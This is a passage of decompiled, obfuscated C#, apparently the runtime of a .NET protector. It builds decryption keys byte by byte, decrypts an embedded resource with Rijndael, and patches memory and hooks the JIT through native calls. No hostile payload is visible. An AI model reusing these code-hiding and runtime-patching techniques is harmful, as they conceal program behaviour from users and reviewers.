(!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto label_29; else goto case 36; case 356: goto label_279; case 357: numArray1[30] = (byte) (87 + 103); num21 = 404; continue; case 358: goto label_522; case 359: goto label_312; case 360: numArray1[0] = (byte) (85 + 124); num21 = 252; continue; case 361: goto label_179; case 362: ebVKeUQJotY5IdGdNW.V6r5cOLscD9LGMn5Wt((object) rijndaelManaged, CipherMode.CBC); num2 = 189; if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto case 397; else goto label_29; case 363: goto label_486; case 364: goto label_204; case 365: goto label_64; case 366: goto label_40; case 367: numArray1[1] = (byte) num3; num21 = 319; continue; case 368: numArray1[8] = (byte) num3; num21 = 228; continue; case 369: goto label_455; case 370: numArray1[4] = (byte) (102 + 49); num21 = 282; continue; case 371: num6 = 54 + 121; num21 = 172; continue; case 372: if (numArray6.Length > 0) { num2 = 422; if (true) goto label_29; else goto case 130; } else goto label_521; case 373: num19 = ebVKeUQJotY5IdGdNW.w7GMfihdFpoL5rs6Ut((object) mttKdN6ssv7t5XcD4h); num2 = 394; if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto label_29; else goto case 51; case 376: goto label_215; case 377: goto label_78; case 378: goto label_188; case 379: goto label_272; case 380: num6 = 94 + 14; num21 = 234; continue; case 381: numArray1[27] = (byte) (240 - 80); num21 = 57; continue; case 382: goto label_104; case 383: goto label_79; case 384: numArray1[31] = (byte) (235 - 118); num2 = 99; if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto case 27; else goto label_29; case 385: goto label_82; case 386: goto label_433; case 387: // ISSUE: type reference num24 = ebVKeUQJotY5IdGdNW.DuJHwUcIsQLOWZZPRt(ebVKeUQJotY5IdGdNW.u0IdUaK9o7Dpxr84aL((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly)[0]); num21 = 308; continue; case 388: goto label_372; case 389: goto label_511; case 390: goto label_55; case 391: num3 = 251 - 83; num21 = 84; continue; case 392: goto label_447; case 393: goto label_132; case 394: goto label_255; case 395: goto label_521; case 396: goto label_20; case 397: numArray1[23] = (byte) num3; num21 = 327; continue; case 398: num9 = IntPtr.Zero; num21 = 111; continue; case 399: goto label_224; case 400: goto label_197; case 401: goto label_66; case 402: goto label_513; case 403: goto label_316; case 404: goto label_431; case 405: goto label_194; case 406: goto label_461; case 407: goto label_198; case 408: numArray1[20] = (byte) num3; num21 = 102; continue; case 409: goto label_424; case 410: numArray1[24] = (byte) (161 - 53); num21 = 317; continue; case 411: goto label_329; case 412: goto label_217; case 413: // ISSUE: type reference if (ebVKeUQJotY5IdGdNW.A0tg0GHSKbNZWZDBKy(ebVKeUQJotY5IdGdNW.\u0037h8dKB7JHZfd1qf2To((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly)).Length == 2) { num2 = 233; if (true) goto label_29; else goto case 5; } else goto label_394; case 414: goto label_326; case 415: goto label_302; case 416: goto label_404; case 417: goto label_81; case 418: num8 = 0L; num21 = 201; continue; case 419: goto label_47; case 420: goto label_311; case 421: goto label_331; case 422: goto label_451; case 423: numArray2[1] = (byte) num6; num21 = 85; continue; case 424: numArray1[16] = (byte) (177 - 59); num21 = 54; continue; case 425: numArray1[9] = (byte) (49 + 82); num21 = 26; continue; case 426: goto label_384; case 427: numArray1[29] = (byte) num3; num21 = 323; continue; case 428: goto label_448; case 429: goto label_388; case 430: case 445: // ISSUE: method pointer ebVKeUQJotY5IdGdNW.SEHaMAJBA = new ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm((object) null, __methodptr(DvYigmja2)); num2 = 398; if (true) goto label_29; else goto case 90; case 431: goto label_260; case 432: goto label_34; case 433: numArray2[4] = (byte) num6; num2 = 380; if (true) goto label_29; else goto case 92; case 434: goto label_392; case 435: numArray1[27] = (byte) (102 + 52); num21 = 381; continue; case 436: goto label_3; case 437: goto label_354; case 438: numArray1[30] = (byte) num3; num21 = 357; continue; case 439: goto label_4; case 440: goto label_338; case 441: num6 = 201 - 67; break; case 442: goto label_196; case 443: numArray1[2] = (byte) (124 + 14); num2 = 58; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto label_29; else goto case 447; case 444: goto label_339; case 446: if (numArray6 != null) { num2 = 372; if (true) goto label_29; else goto case 160; } else goto label_521; case 447: numArray1[29] = (byte) (104 + 101); num2 = 151; if (true) goto label_29; else goto case 384; case 448: numArray3 = new byte[6]; num21 = 160; continue; case 449: goto label_22; case 450: goto label_131; case 451: goto label_393; } if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) num21 = 375; else goto label_381; } label_33: numArray4[5] = (byte) 116; num2 = 305; continue; label_34: numArray1[20] = (byte) num3; num2 = 265; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) continue; label_35: numArray2[14] = (byte) (225 - 75); num2 = 307; if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) continue; label_36: numArray2[1] = (byte) num6; num2 = 97; if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) continue; label_37: numArray2[3] = (byte) (90 + 122); num1 = 348; goto label_28; label_38: num12 = 0; num2 = 195; continue; label_39: num3 = 13 + 43; num2 = 432; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) continue; label_40: numArray1[7] = (byte) (114 - 14); num1 = 178; goto label_28; label_41: numArray1[17] = (byte) (118 + 48); num1 = 431; goto label_28; label_45: binaryReader = new BinaryReader((Stream) new MemoryStream(buffer)); num2 = 211; continue; label_47: numArray1[3] = (byte) num3; num2 = 389; continue; label_48: numArray2[9] = (byte) (160 - 53); num1 = 18; goto label_28; label_51: numArray4[1] = (byte) 115; num2 = 291; continue; label_52: numArray1[3] = (byte) num3; num1 = 35; goto label_28; label_53: numArray2[15] = (byte) num6; num2 = 275; continue; label_55: num3 = 120 + 5; num1 = 10; goto label_28; label_57: ebVKeUQJotY5IdGdNW.ufjDNIIUq[index] = int64 + (long) num22; num1 = 235; goto label_28; label_58: num3 = 122 + 120; num1 = 289; goto label_28; label_59: ebVKeUQJotY5IdGdNW.ECL41OuLi0T8KD1Ax9((object) cryptoStream, (object) numArray7, 0, numArray7.Length); num1 = 209; goto label_28; label_61: ebVKeUQJotY5IdGdNW.CiA14IrD3NVsKgRZVG(new IntPtr(num7), num9); num1 = 20; goto label_28; label_62: numArray1[6] = (byte) num3; num1 = 69; goto label_28; label_63: numArray3[4] = (byte) 105; num2 = 333; continue; label_64: numArray2[9] = (byte) (32 + 117); num2 = 240; continue; label_65: numArray2[9] = (byte) num6; num1 = 365; goto label_28; label_66: numArray1[25] = (byte) (99 + 0); num1 = 159; goto label_28; label_67: numArray2[11] = (byte) (117 + 33); num1 = 326; goto label_28; label_75: num3 = 150 - 75; num1 = 1; goto label_28; label_77: numArray4[8] = (byte) 108; num1 = 167; goto label_28; label_78: numArray1[20] = (byte) num3; num1 = 321; goto label_28; label_79: numArray1[7] = (byte) (149 - 49); num2 = 325; continue; label_80: ebVKeUQJotY5IdGdNW.hNfjH4VW7 = true; num2 = 56; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) continue; label_81: numArray4[3] = (byte) 111; num1 = 369; goto label_28; label_82: num3 = 237 - 79; num2 = 33; continue; label_86: index -= 1879048192; num1 = 139; goto label_28; label_87: numArray1[8] = (byte) (208 + 18); num2 = 334; if (true) continue; label_88: numArray2[5] = (byte) (86 + 84); num2 = 190; continue; label_90: num3 = 33 - 15; num2 = 353; continue; label_96: num3 = 250 - 83; num2 = 80; if (true) continue; label_97: numArray1[21] = (byte) (101 + 40); num1 = 267; goto label_28; label_98: numArray4[4] = (byte) 105; num1 = 108; goto label_28; label_99: numArray1[13] = (byte) num3; num2 = 281; continue; label_517: if (ebVKeUQJotY5IdGdNW.ADNsbrNwBBGFe0rAli() == 4) { num1 = 21; goto label_28; } else goto label_25; } while (true); label_100: numArray1[12] = (byte) num3; num1 = 320; goto label_28; label_104: numArray2[7] = (byte) (25 + 62); num1 = 221; goto label_28; label_107: numArray1[19] = (byte) (185 - 61); num1 = 143; goto label_28; label_109: numArray1[28] = (byte) num3; num1 = 421; goto label_28; label_111: num1 = 133; goto label_28; label_112: num11 = 0; num1 = 128; goto label_28; label_113: numArray2[12] = (byte) num6; num2 = 288; if (true) continue; label_114: ebVKeUQJotY5IdGdNW.ufjDNIIUq = new long[ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader)]; num1 = 29; goto label_28; label_115: numArray1[23] = (byte) num3; num2 = 294; continue; label_117: num6 = 169 + 9; num1 = 318; goto label_28; label_123: numArray1[8] = (byte) num3; num1 = 90; goto label_28; label_129: flag = false; num2 = 315; if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) continue; label_130: num3 = 200 - 110; num1 = 92; goto label_28; label_131: numArray1[20] = (byte) (128 - 42); num2 = 378; if (true) continue; label_132: numArray2[11] = (byte) num6; num2 = 272; continue; label_173: index = ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader); num2 = 156; continue; label_175: numArray2[2] = (byte) (164 + 18); num1 = 196; goto label_28; label_177: num6 = 240 - 80; num1 = 118; goto label_28; label_178: ebVKeUQJotY5IdGdNW.nBxmIDYt8Eeo843WGT((object) binaryReader); num2 = (int) sbyte.MaxValue; if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto label_422; else continue; label_179: num3 = 103 - 28; num1 = 412; goto label_28; label_182: ebVKeUQJotY5IdGdNW.gIeSg3usw[index] = numArray8; num1 = 2; goto label_28; label_183: numArray2[10] = (byte) (71 + 75); num1 = 262; goto label_28; label_184: numArray2[5] = (byte) (219 - 73); num1 = 207; goto label_28; label_188: num3 = 137 - 45; num1 = 377; goto label_28; label_189: num6 = 35 + 15; num1 = 109; goto label_28; label_191: ebVKeUQJotY5IdGdNW.xm3sCgZLslZ69UwNk6((object) cryptoStream); num2 = 46; if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto label_336; else continue; label_193: numArray1[18] = (byte) num3; num1 = 279; goto label_28; label_194: numArray1[2] = (byte) num3; num1 = 443; goto label_28; label_196: numArray4[1] = (byte) 108; num2 = 16; if (true) continue; label_197: numArray4[0] = (byte) 109; num2 = 328; if (true) continue; label_198: numArray1[18] = (byte) num3; num1 = 119; goto label_28; label_199: numArray5[13] = numArray6[6]; num2 = 336; if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto label_497; else continue; label_201: num3 = 0 + 112; num2 = 28; if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto label_246; else continue; label_204: numArray2[6] = (byte) (145 - 48); num1 = 449; goto label_28; label_210: numArray1[17] = (byte) (242 - 80); num2 = 137; continue; label_213: num3 = 140 - 46; num2 = 295; if (true) continue; label_214: numArray1[29] = (byte) num3; num1 = 258; goto label_28; label_215: numArray1[26] = (byte) num3; num1 = 63; goto label_28; label_217: numArray1[23] = (byte) num3; num2 = 332; continue; label_218: // ISSUE: type reference if (ebVKeUQJotY5IdGdNW.lMhZFRvecwWyaFYrWS(ebVKeUQJotY5IdGdNW.DSeHdiqqaYUJ82ElSX((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly)) == 0) { num2 = 19; if (true) continue; goto label_520; } else goto label_309; label_220: numArray1[24] = (byte) num3; num1 = 226; goto label_28; label_221: numArray2[13] = (byte) (187 - 81); num1 = 44; goto label_28; label_224: numArray1[16] = (byte) (23 + 81); num1 = 6; goto label_28; label_225: numArray3[2] = (byte) 116; num2 = 416; continue; label_226: if (ebVKeUQJotY5IdGdNW.dfoOvTR9jJFyJTjZaA(ebVKeUQJotY5IdGdNW.\u0039slFhO6Zyjqu52QWgD((object) binaryReader)) >= ebVKeUQJotY5IdGdNW.UMa5aIgtbxKxnsdoDP(ebVKeUQJotY5IdGdNW.\u0039slFhO6Zyjqu52QWgD((object) binaryReader)) - 1L) { // ISSUE: type reference num18 = ebVKeUQJotY5IdGdNW.DuJHwUcIsQLOWZZPRt(ebVKeUQJotY5IdGdNW.u0IdUaK9o7Dpxr84aL((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly)[0]); num1 = 131; goto label_28; } else { num1 = 245; goto label_28; } label_231: numArray1[17] = (byte) (73 + 95); num2 = 66; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) continue; label_232: IntPtr zero = IntPtr.Zero; num2 = 15; if (true) continue; label_233: num3 = 87 + 92; num1 = 342; goto label_28; label_234: numArray1[1] = (byte) (21 + 10); num2 = 388; continue; label_235: num3 = 172 - 57; num1 = 440; goto label_28; label_238: numArray2[0] = (byte) num6; num1 = 67; goto label_28; label_239: numArray1[12] = (byte) (184 - 72); num2 = 266; continue; label_241: num8 = (long) ebVKeUQJotY5IdGdNW.V0Kb1AVog1g4idDljV(new IntPtr(num7)); num1 = 155; goto label_28; label_243: flag = true; num1 = 339; goto label_28; label_244: numArray2[12] = (byte) num6; num2 = 144; if (true) continue; label_245: num6 = 60 + 9; num1 = 117; goto label_28; label_246: numArray1[11] = (byte) num3; num1 = 3; goto label_28; label_249: numArray2[9] = (byte) (161 + 1); num1 = 349; goto label_28; label_252: try { ebVKeUQJotY5IdGdNW.cTgYw5i8ngOAZcwBuX(true); } catch { } // ISSUE: type reference binaryReader = new BinaryReader((Stream) ebVKeUQJotY5IdGdNW.xZ7O9IpO5b2C1lKA4S((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly, (object) "312a0367-69cb-4530-8455-a08a514bb657")); num1 = 310; goto label_28; label_255: num7 = 0L; num2 = 193; continue; label_256: numArray1[6] = (byte) (194 - 64); num1 = 77; goto label_28; label_257: numArray1[2] = (byte) num3; num2 = 158; if (true) continue; label_258: numArray1[22] = (byte) (211 - 70); num2 = 4; continue; label_311: num6 = 58 + 95; num2 = 123; if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto label_224; else continue; label_366: buffer = (byte[]) ebVKeUQJotY5IdGdNW.l3AnmInlhQ3JBvmuC6((object) memoryStream); num2 = 153; if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) continue; label_367: numArray2[11] = (byte) num6; num2 = 154; if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto label_107; else continue; label_394: try { int num31 = (int) ebVKeUQJotY5IdGdNW.SEHaMAJBA(ref num16, IntPtr.Zero, IntPtr.Zero, 216679565U, ref zero, ref num20); } catch { } ebVKeUQJotY5IdGdNW.Ddd7QgGlp = false; num2 = 218; if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto label_210; else continue; label_420: // ISSUE: type reference if (ebVKeUQJotY5IdGdNW.lMhZFRvecwWyaFYrWS(ebVKeUQJotY5IdGdNW.DSeHdiqqaYUJ82ElSX((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly)) <= 0) goto label_394; else goto label_421; label_519: memoryStream = new MemoryStream(); num2 = 8; if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto label_213; } while (true); label_259: numArray5[15] = numArray6[7]; num1 = 395; goto label_28; label_260: numArray1[17] = (byte) (201 - 67); num1 = 64; goto label_28; label_261: numArray1[5] = (byte) (132 - 44); num1 = 350; goto label_28; label_263: numArray2[0] = (byte) num6; num1 = 214; goto label_28; label_269: numArray1[3] = (byte) (111 + 34); num1 = 30; goto label_28; label_271: numArray1[21] = (byte) num3; num1 = 161; goto label_28; label_272: numArray2[2] = (byte) num6; num1 = 11; goto label_28; label_273: num3 = 13 + 113; num1 = 278; goto label_28; label_279: numArray1[5] = (byte) (233 - 77); num2 = 391; continue; label_281: numArray1[11] = (byte) num3; num1 = 396; goto label_28; label_284: num3 = 73 + 0; num1 = 419; goto label_28; label_286: num3 = 40 + 58; num2 = 171; continue; label_294: numArray1[22] = (byte) (253 - 84); num1 = 149; goto label_28; label_296: ebVKeUQJotY5IdGdNW.qtw6Y63n394PWtw1Qd(ebVKeUQJotY5IdGdNW.\u0039slFhO6Zyjqu52QWgD((object) binaryReader), 0L); num2 = 363; if (true) continue; label_297: numArray4[11] = (byte) 108; num1 = 358; goto label_28; label_299: numArray1[21] = (byte) (68 + 69); num2 = 17; continue; label_300: numArray4[10] = (byte) 108; num1 = 37; goto label_28; label_301: numArray1[2] = (byte) (205 - 68); num2 = 41; if (true) continue; label_302: numArray1[25] = (byte) (123 - 13); num1 = 434; goto label_28; label_304: numArray2[3] = (byte) num6; num2 = 371; if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto label_464; else continue; label_305: numArray1[23] = (byte) num3; num1 = 361; goto label_28; label_306: num3 = 151 - 50; num2 = 292; if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto label_1; else continue; label_307: numArray1[21] = (byte) num3; num2 = 203; continue; label_308: num3 = 35 + 42; num1 = 314; goto label_28; label_309: num17 = ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader); num1 = 150; goto label_28; label_310: numArray1[19] = (byte) num3; num2 = 237; continue; label_312: num6 = 113 + 86; num1 = 423; goto label_28; label_314: ebVKeUQJotY5IdGdNW.\u0033qiRntTf2 = num18.ToInt64(); num2 = 271; continue; label_315: numArray2[15] = (byte) num6; num1 = 403; goto label_28; label_316: numArray5 = numArray2; num2 = 296; continue; label_317: numArray1[26] = (byte) num3; num2 = 301; continue; label_318: num3 = 82 + 89; num1 = 216; goto label_28; label_321: num3 = 62 - 13; num2 = 52; continue; label_326: ebVKeUQJotY5IdGdNW.c1Gltw8uY = ebVKeUQJotY5IdGdNW.rx60T8kvEcMcO814fs(ebVKeUQJotY5IdGdNW.\u0033qiRntTf2); num1 = 322; goto label_28; label_327: num6 = 217 - 72; num2 = 433; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) continue; label_328: numArray2[5] = (byte) (44 + 97); num2 = 386; if (true) continue; label_329: numArray1[5] = (byte) (52 + 123); num1 = 95; goto label_28; label_330: numArray1[9] = (byte) (211 - 70); num2 = 425; continue; label_331: num3 = 191 - 63; num1 = 202; goto label_28; label_332: num3 = 169 + 47; num2 = 72; continue; label_333: ebVKeUQJotY5IdGdNW.ud76QUgni(new IntPtr(num7), ebVKeUQJotY5IdGdNW.ADNsbrNwBBGFe0rAli(), 4, ref num14); num1 = 230; goto label_28; label_335: num3 = 229 - 76; num2 = 316; continue; label_336: numArray5[9] = numArray6[4]; num2 = 112; continue; label_337: numArray2[0] = (byte) (157 - 52); num2 = 141; continue; label_338: numArray1[6] = (byte) num3; num2 = 115; if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) continue; label_339: numArray2[2] = (byte) (16 + 52); num1 = 286; goto label_28; label_341: numArray1[26] = (byte) num3; num1 = 300; goto label_28; label_342: num3 = 113 + 48; num2 = 194; if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) goto label_375; else continue; label_345: numArray1[13] = (byte) (40 + 110); num1 = 36; goto label_28; label_349: num11 = 7168; num2 = 277; continue; label_352: numArray2[9] = (byte) (184 - 61); num2 = 106; if (true) continue; label_353: num7 = (long) ebVKeUQJotY5IdGdNW.V0Kb1AVog1g4idDljV(num19); num2 = 430; continue; label_369: num3 = 12 + 69; num2 = 177; if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()) continue; label_370: // ISSUE: type reference if (ebVKeUQJotY5IdGdNW.DSeHdiqqaYUJ82ElSX((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly) == null) goto label_349; else goto label_371; } while (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN()); goto label_354; label_19: num3 = 251 - 83; num2 = 40; if (true) continue; label_20: numArray1[12] = (byte) (121 + 121); num2 = 125; if (true) continue; label_21: numArray2[0] = (byte) (169 - 85); num2 = 162; } while (true); goto label_22; label_354: numArray1[28] = (byte) num3; num1 = 24; goto label_28; label_359: num6 = 70 + 68; num2 = 130; if (true) continue; label_360: if (index >= 1879048192) { num2 = 309; if (true) continue; } else goto label_387; label_362: numArray1[26] = (byte) (229 - 76); num2 = 34; continue; label_363: numArray2[3] = (byte) num6; num2 = 439; continue; label_364: numArray1[4] = (byte) (198 - 66); num2 = 60; continue; label_365: num3 = 241 - 80; num1 = 88; goto label_28; label_368: numArray1[9] = (byte) num3; num2 = 9; continue; label_371: num2 = 107; continue; label_372: numArray1[1] = (byte) (167 - 55); num2 = 5; continue; label_375: numArray1[4] = (byte) (68 + 54); num2 = 259; continue; label_377: numArray1[14] = (byte) num3; num1 = 27; goto label_28; label_379: numArray1[6] = (byte) (228 - 76); num2 = 22; continue; label_381: num2 = 205; if (true) continue; label_382: numArray1[5] = (byte) num3; num2 = 411; } while (true); goto label_522; label_383: numArray2[7] = (byte) num6; num2 = 142; continue; label_384: ebVKeUQJotY5IdGdNW.kGOIADEgPtl2ivfJXa(num5, ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader)); num2 = 257; continue; label_387: num15 = ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader); num2 = 248; continue; label_522: str1 = (string) ebVKeUQJotY5IdGdNW.\u0034qoK5FxbotERCuaaJ7(ebVKeUQJotY5IdGdNW.ZFrX6ZUCup1rTIgf3U(), (object) numArray4); num2 = 238; if (false) goto label_383; } while (true); goto label_523; label_509: return; label_388: numArray1[10] = (byte) (197 - 65); num2 = 50; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) continue; label_389: ebVKeUQJotY5IdGdNW.ud76QUgni(num13, 4, 4, ref num12); num1 = 354; goto label_28; label_390: numArray1[13] = (byte) (103 + 36); num2 = 352; continue; label_392: num3 = 81 + 61; num1 = 330; goto label_28; label_397: numArray2[10] = (byte) num6; num2 = 186; continue; label_398: num3 = 212 - 70; num1 = 215; goto label_28; label_399: ebVKeUQJotY5IdGdNW.kGOIADEgPtl2ivfJXa(num13, index + 1879048192); num1 = 65; goto label_28; label_400: numArray1[0] = (byte) (137 - 76); num1 = 224; goto label_28; label_402: numArray2[7] = (byte) (121 + 102); num2 = 73; continue; label_403: num6 = 123 + 11; num2 = 132; if (true) continue; label_404: numArray3[3] = (byte) 74; num1 = 134; goto label_28; label_406: numArray1[0] = (byte) num3; num2 = 360; continue; label_407: numArray4[8] = (byte) 46; num2 = 212; continue; label_409: num10 = ebVKeUQJotY5IdGdNW.Oka3cw68Y(str1); num2 = 220; continue; label_410: num3 = 35 + 65; num1 = 129; goto label_28; label_413: numArray9 = numArray1; num1 = 249; goto label_28; label_414: numArray4[5] = (byte) 106; num2 = 103; if (true) continue; label_415: numArray1[6] = (byte) num3; num1 = 200; goto label_28; label_416: numArray1[1] = (byte) num3; num1 = 39; goto label_28; label_417: num6 = 32 + 72; num1 = 208; goto label_28; label_421: num1 = 138; goto label_28; label_422: num3 = 168 - 56; num1 = 397; goto label_28; label_423: num14 = 0; num1 = 185; goto label_28; label_424: numArray1[24] = (byte) num3; num1 = 401; goto label_28; label_430: numArray2 = new byte[16]; num2 = 344; continue; label_431: numArray1[31] = (byte) (183 - 61); num2 = 385; continue; label_432: num3 = 253 - 84; num2 = 263; if (true) continue; label_433: numArray2[6] = (byte) (14 + 78); num2 = 227; continue; label_439: numArray1[7] = (byte) (253 - 84); num1 = 287; goto label_28; label_440: numArray1[22] = (byte) (94 + 97); num1 = 183; goto label_28; label_441: numArray4[7] = (byte) 116; num2 = 79; continue; label_443: numArray1[28] = (byte) (214 - 113); num1 = 62; goto label_28; label_445: numArray2[4] = (byte) num6; num2 = 31; continue; label_446: numArray8 = (byte[]) ebVKeUQJotY5IdGdNW.sH0cuLwOgnud8KCQXi((object) binaryReader, num15); num2 = 184; continue; label_447: ++num4; num1 = 219; goto label_28; label_448: numArray2[8] = (byte) (34 + 113); num2 = 121; continue; label_451: numArray5[1] = numArray6[0]; num1 = 182; goto label_28; label_452: numArray2[14] = (byte) num6; num1 = 250; goto label_28; label_453: numArray2[8] = (byte) (153 - 51); num2 = 23; continue; label_455: numArray4[4] = (byte) 114; num1 = (int) byte.MaxValue; goto label_28; label_461: numArray2[11] = (byte) num6; num2 = 76; continue; label_462: num6 = 199 - 66; num1 = 157; goto label_28; label_464: try { // ISSUE: type reference ebVKeUQJotY5IdGdNW.p1ce5FDX3 = (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm) ebVKeUQJotY5IdGdNW.\u0033FK47EGLqy9BbMPjXA(new IntPtr(num8), ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm))); } catch { try { // ISSUE: type reference Delegate @delegate = (Delegate) ebVKeUQJotY5IdGdNW.\u0033FK47EGLqy9BbMPjXA(new IntPtr(num8), ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm))); ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN(); int num32; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) num32 = 2; else goto label_470; label_469: switch (num32) { case 0: case 2: // ISSUE: type reference ebVKeUQJotY5IdGdNW.p1ce5FDX3 = (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm) ebVKeUQJotY5IdGdNW.PUYT2GX5ZlowtoftTb(ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm)), ebVKeUQJotY5IdGdNW.MPaVZVblY2fRy6ulcF((object) @delegate)); goto label_472; default: goto label_472; } label_470: num32 = 3; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) goto label_469; } catch { } } label_472: num16 = 0UL; num1 = 116; goto label_28; label_478: numArray2[10] = (byte) (227 - 75); num1 = 168; goto label_28; label_486: numArray7 = (byte[]) ebVKeUQJotY5IdGdNW.sH0cuLwOgnud8KCQXi((object) binaryReader, (int) ebVKeUQJotY5IdGdNW.UMa5aIgtbxKxnsdoDP(ebVKeUQJotY5IdGdNW.\u0039slFhO6Zyjqu52QWgD((object) binaryReader))); num2 = 188; continue; label_496: num3 = 103 + 54; num2 = 367; continue; label_497: numArray1[15] = (byte) (178 - 112); num2 = 399; if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()) continue; label_498: num3 = 125 - 41; num1 = 264; goto label_28; label_499: numArray4 = new byte[12]; num1 = 400; goto label_28; label_502: num3 = 238 - 79; num2 = 437; continue; label_503: numArray1[0] = (byte) num3; num1 = 283; goto label_28; label_504: numArray4[6] = (byte) 105; num2 = 299; } while (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9()); goto label_505; label_2: numArray1[30] = (byte) num3; num2 = 204; continue; label_5: num3 = 194 - 64; num2 = 120; continue; label_513: numArray2[2] = (byte) num6; num2 = 444; continue; label_520: str2 = (string) ebVKeUQJotY5IdGdNW.\u0034qoK5FxbotERCuaaJ7(ebVKeUQJotY5IdGdNW.ZFrX6ZUCup1rTIgf3U(), (object) numArray3); num2 = 251; } label_1: numArray1[15] = (byte) (193 - 64); num1 = 273; continue; label_3: num4 = 0; num1 = 51; continue; label_4: numArray2[4] = (byte) (69 + 38); num1 = 285; continue; label_11: ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader); num1 = 436; continue; label_13: numArray3[1] = (byte) 101; num1 = 93; continue; label_22: numArray2[6] = (byte) (138 + 0); num1 = 382; continue; label_25: num8 = ebVKeUQJotY5IdGdNW.EnsIQRI83GGSP1iwiX(new IntPtr(num7)); num1 = 179; continue; label_26: num9 = ebVKeUQJotY5IdGdNW.\u0038lPgnyTwrcT7G1FLuY((object) ebVKeUQJotY5IdGdNW.SEHaMAJBA); num1 = 418; continue; label_505: numArray1[28] = (byte) (163 - 54); num1 = 110; continue; label_506: numArray2[10] = (byte) num6; num1 = 269; continue; label_507: num10 = ebVKeUQJotY5IdGdNW.Oka3cw68Y(str1); num1 = 448; continue; label_510: num5 = new IntPtr(int64 + (long) ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader) - (long) num11); num1 = 313; continue; label_511: numArray1[3] = (byte) (140 - 61); num1 = 83; continue; label_512: num6 = 229 + 7; num1 = 192; continue; label_515: numArray1[1] = (byte) num3; num1 = 256; continue; label_516: num6 = 241 - 80; num1 = 198; continue; label_521: rijndaelManaged = new RijndaelManaged(); num1 = 362; continue; label_523: ebVKeUQJotY5IdGdNW.SJFGuZaaV(); num1 = 451; continue; label_525: str1 = (string) ebVKeUQJotY5IdGdNW.\u0034qoK5FxbotERCuaaJ7(ebVKeUQJotY5IdGdNW.ZFrX6ZUCup1rTIgf3U(), (object) numArray4); num1 = 68; } label_393: return; label_479:; } 